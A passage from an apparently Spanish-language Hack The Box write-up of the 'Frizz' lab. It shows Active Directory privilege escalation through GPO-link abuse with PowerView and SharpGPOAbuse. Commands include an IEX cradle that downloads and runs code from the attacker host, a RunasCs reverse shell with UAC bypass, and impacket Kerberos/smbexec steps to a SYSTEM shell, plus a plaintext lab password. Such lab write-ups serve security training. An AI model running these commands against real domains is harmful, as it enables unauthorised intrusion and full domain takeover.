En este punto podemos tratar de exportar PowerView.ps1 (el cual puede ser descargado desde su repositorio de Github). Exponemos este módulo a través de un servidor HTTP temporal con Python por el puerto 8000, de la misma manera a como lo habíamos hecho previamente con el binario de netcat. Desde la máquina víctima, importamos el módulo:

PS C:\Users\M.SchoolBus> IEX(New-Object Net.WebClient).downloadString('http://10.10.16.4:8000/PowerView.ps1')

InvalidOperation:
Line |
  69 |      $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'R …
     |      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     | Method invocation failed because [System.AppDomain] does not contain a method named 'DefineDynamicAssembly'.
InvalidOperation:
Line |
  70 |      $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName …
     |      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     | You cannot call a method on a null-valued expression.
<SNIP>

Obtenemos muchos errores. ¿Por qué? Porque la versión que está corriendo de PowerShell es la 7.4.5:

PS C:\Users\M.SchoolBus> $PSVersionTable.PSVersion

Major  Minor  Patch  PreReleaseLabel BuildLabel
-----  -----  -----  --------------- ----------
7      4      5

Por ende, simplemente cambiamos a la versión 5.1 de PowerShell y tratamos de importar nuevamente el módulo:

PS C:\Users\M.SchoolBus> powershell -version 5.1

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\M.SchoolBus> IEX(New-Object Net.WebClient).downloadString('http://10.10.16.4:8000/PowerView.ps1')

Funcionó.

Utilizamos la función Get-DomainUser para obtener información acerca del usuario actual en el dominio:

PS C:\Users\M.SchoolBus> Get-DomainUser -Identity M.SchoolBus -Domain frizz.htb | Select-Object -Property name,samaccountname,description,memberof,whencreated,pwdlastset,lastlogontimestamp,accountexpires,admincount,userprincipalname,serviceprincipalname,mail,useraccountcontrol


name                 : M.SchoolBus
samaccountname       : M.SchoolBus
description          : Desktop Administrator
memberof             : {CN=Desktop Admins,CN=Users,DC=frizz,DC=htb, CN=Remote Management Users,CN=Builtin,DC=frizz,DC=htb}
whencreated          : 10/29/2024 2:27:03 PM
pwdlastset           : 10/29/2024 7:27:03 AM
lastlogontimestamp   : 3/18/2025 5:52:11 AM
accountexpires       : NEVER
admincount           :
userprincipalname    : M.SchoolBus
serviceprincipalname :
mail                 :
useraccountcontrol   : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD

Somos miembros del grupo Desktop Admins (tal cual se puede ver en la propiedad memberof).

En entornos Active Directory, siempre vale la pena enumerar las Group Policy Object (GPOs), dado que pueden ser utilizadas para escalar privilegios. Enumerando Organizational Units (OUs) de GPOs linkeadas obtenemos:

PS C:\Users\M.SchoolBus> Get-DomainOU | select name, gplink

name               gplink
----               ------
Domain Controllers [LDAP://CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=frizz,DC=htb;0]
Class_Frizz

Tenemos una OU llamada Domain Controllers y otra llamada Class_Frizz.

Revisamos cuáles máquinas están afectadas por la GPO de nombre Domain Controllers:

PS C:\Users\M.SchoolBus> Get-DomainOU | foreach { $ou = $_.distinguishedname; Get-DomainComputer -SearchBase $ou -Properties dnshostname | select @{Name='OU';Expression={$ou}}, @{Name='FQDN';Expression={$_.dnshostname} } }

OU                                    FQDN
--                                    ----
OU=Domain Controllers,DC=frizz,DC=htb frizzdc.frizz.htb

Esta GPO afecta a la máquina frizzdc.frizz.htb, la cual es la máquina actual:

PS C:\Users\M.SchoolBus> $env:computerName

FRIZZDC

Además, si revisamos qué usuarios pueden modificar este tipo (OUs) de GPOs obtenemos:

PS C:\Users\M.SchoolBus> Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | where { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -match "WriteProperty" } | select ObjectDN, @{Name='ResolvedSID';Expression={ConvertFrom-SID $_.SecurityIdentifier}} | Format-List


ObjectDN    : OU=Domain Controllers,DC=frizz,DC=htb
ResolvedSID : frizz\M.SchoolBus

ObjectDN    : OU=Class_Frizz,DC=frizz,DC=htb
ResolvedSID : frizz\M.SchoolBus

El usuario M.SchoolBus puede crear links al OU Domain Controllers, permitiéndole agregar una GPO a ésta.

Resumiendo:

  1. Hay GPOs en la máquina víctima.
  2. Una de estas GPOs es llamada Domain Controller (que viene por defecto en los dominios) y afecta a la máquina FRIZZDC (la cual es la máquina actual).
  3. Nuestro usuario, M.SchoolBus, es capaz de crear nuevos links sobre Domain Controller, la cual es una GPO de tipo OU.
  4. Esto nos permite crear una nueva tarea “maliciosa” a través de un link and y ejecutarla a través de la GPO maliciosa. Dado que somos capaces de crear links en la OU Domain Controller, podemos agregar aquella GPO con una tarea maliciosa a aquella OU.

Para agregar una GPO a la OU llamada Domain Controller, podemos utilizar la herramienta SharpGPOAbuse. Podemos descargarla desde su repositorio de Github y compilarla en una máquina Windows; o podemos descargar un binario pre-compilado desde este repository. Iré por la segunda opción.

Descargado el binario, lo transferimos a la máquina víctima. Creamos una nueva GPO llamada gunzf0x y la linkeamos a Domain Controller:

PS C:\Users\M.SchoolBus> New-GPO -Name gunzf0x | New-GPLink -Target "OU=DOMAIN CONTROLLERS,DC=FRIZZ,DC=HTB" -LinkEnabled Yes


GpoId       : 90738160-1f8b-43d1-bd1f-1c5eacc5e882
DisplayName : gunzf0x
Enabled     : True
Enforced    : False
Target      : OU=Domain Controllers,DC=frizz,DC=htb
Order       : 2

Y usamos SharpGPOAbuse para agregar nuestro usuario (M.SchoolBus) como un administrador local:

PS C:\Users\M.SchoolBus> .\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount M.SchoolBus --GPOName gunzf0x

[+] Domain = frizz.htb
[+] Domain Controller = frizzdc.frizz.htb
[+] Distinguished Name = CN=Policies,CN=System,DC=frizz,DC=htb
[+] SID Value of M.SchoolBus = S-1-5-21-2386970044-1145388522-2932701813-1106
[+] GUID of "gunzf0x" is: {90738160-1F8B-43D1-BD1F-1C5EACC5E882}
[+] Creating file \\frizz.htb\SysVol\frizz.htb\Policies\{90738160-1F8B-43D1-BD1F-1C5EACC5E882}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new local admin. Wait for the GPO refresh cycle.
[+] Done!

Podríamos esperar por horas y esperar a que las GPO tomen efecto, lo cual puede tomar horas… o podemos forzarla ejecutando:

PS C:\Users\M.SchoolBus> gpupdate /force

Updating policy...

Computer Policy update has completed successfully.
User Policy update has completed successfully.

Usualmente debemos desloguearnos y loguearnos para que estos cambios de hagan efectivos. Podemos desconectarnos de nuestra sesión como M.SchoolBus y tratar de reconectarnos por SSH:

❯ KRB5CCNAME=M.SchoolBus.ccache faketime "$(ntpdate -q frizz.htb | cut -d ' ' -f 1,2)" sshpass -p '!suBcig@MehTed!R' ssh -o stricthostkeychecking=no -K M.SchoolBus@frizz.htb

M.SchoolBus@frizz.htb: Permission denied (gssapi-with-mic,keyboard-interactive).

Pero esta vez obtenemos un error de permisos y no podemos loguearnos.

No obstante, si vamos a la sesión del usuario f.frizzle, podemos corroborar que el usuario M.SchoolBus ha sido agregado al grupo Administrators:

PS C:\Users\f.frizzle> net localgroup Administrators

Alias name     Administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
M.SchoolBus
The command completed successfully.
Advertencia
No podemos conectarnos a traves de SSH como el usuario M.SchoolBus dado que éste es ahora un usuario Administrador, y los usuarios Administradores no se pueden conectar a través de SSH tal cual se explica aquí. Los Administradores deben explícitamente ser autorizados a través de un archivo de configuración de SSH en Windows para que se les permita loguearse por medio de SSH tal cual explica el post.

Manera 1: Acceder al usuario M.SchoolBus usando RunasCs Link to heading

Podemos tratar de pivotear al usuario M.SchoolBus internamente usando RunasCs. Transferimos su binario (el cual puede ser descargado desde su repositorio Github) a la máquina víctima, empezamos un listner con netcat por el puerto 443 y ejecutamos RunasCs en la sesión del usuario f.frizzle:

PS C:\Users\f.frizzle> .\RunasCs.exe M.SchoolBus '!suBcig@MehTed!R' cmd.exe -r 10.10.16.4:443 -t 10 --bypass-uac

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-b49fd$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 2764 created in background.

Obtenemos una shell como el usuario M.SchoolBus; pero esta vez el usuario se encuentra en el grupo Administrators:

❯ rlwrap nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.11.60] 63780
Microsoft Windows [Version 10.0.20348.3207]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami

frizz\m.schoolbus

Podemos extraer la flag de root desde el Desktop del usuario Administrator.


Manera 2: Exportar un ticket de Kerberos como el usuario M.SchoolBus privilegiado y usar éste para escalar privilegios Link to heading

Dado que hemos visto que el usuario M.SchoolBus es ahora un miembro del grupo Administrators, podemos solicitar un nuevo TGT para este usuario (después de que este usuario haya sido agregado al grupo Administrators):

❯ faketime "$(ntpdate -q frizz.htb | cut -d ' ' -f 1,2)" impacket-getTGT frizz.htb/M.SchoolBus:'!suBcig@MehTed!R' -dc-ip frizz.htb

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in M.SchoolBus.ccache

Usamos este ticket obtenido, el cual será un ticket de un usuario privilegiado. Por último, podemos usar el ticket junto con la herramienta smbexec.py de Impacket para invocar una shell de un usuario privilegiado en el sistema:

❯ KRB5CCNAME=M.SchoolBus.ccache faketime "$(ntpdate -q frizz.htb | cut -d ' ' -f 1,2)" impacket-smbexec -k -no-pass frizzdc.frizz.htb

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami

nt authority\system

~Happy Hacking.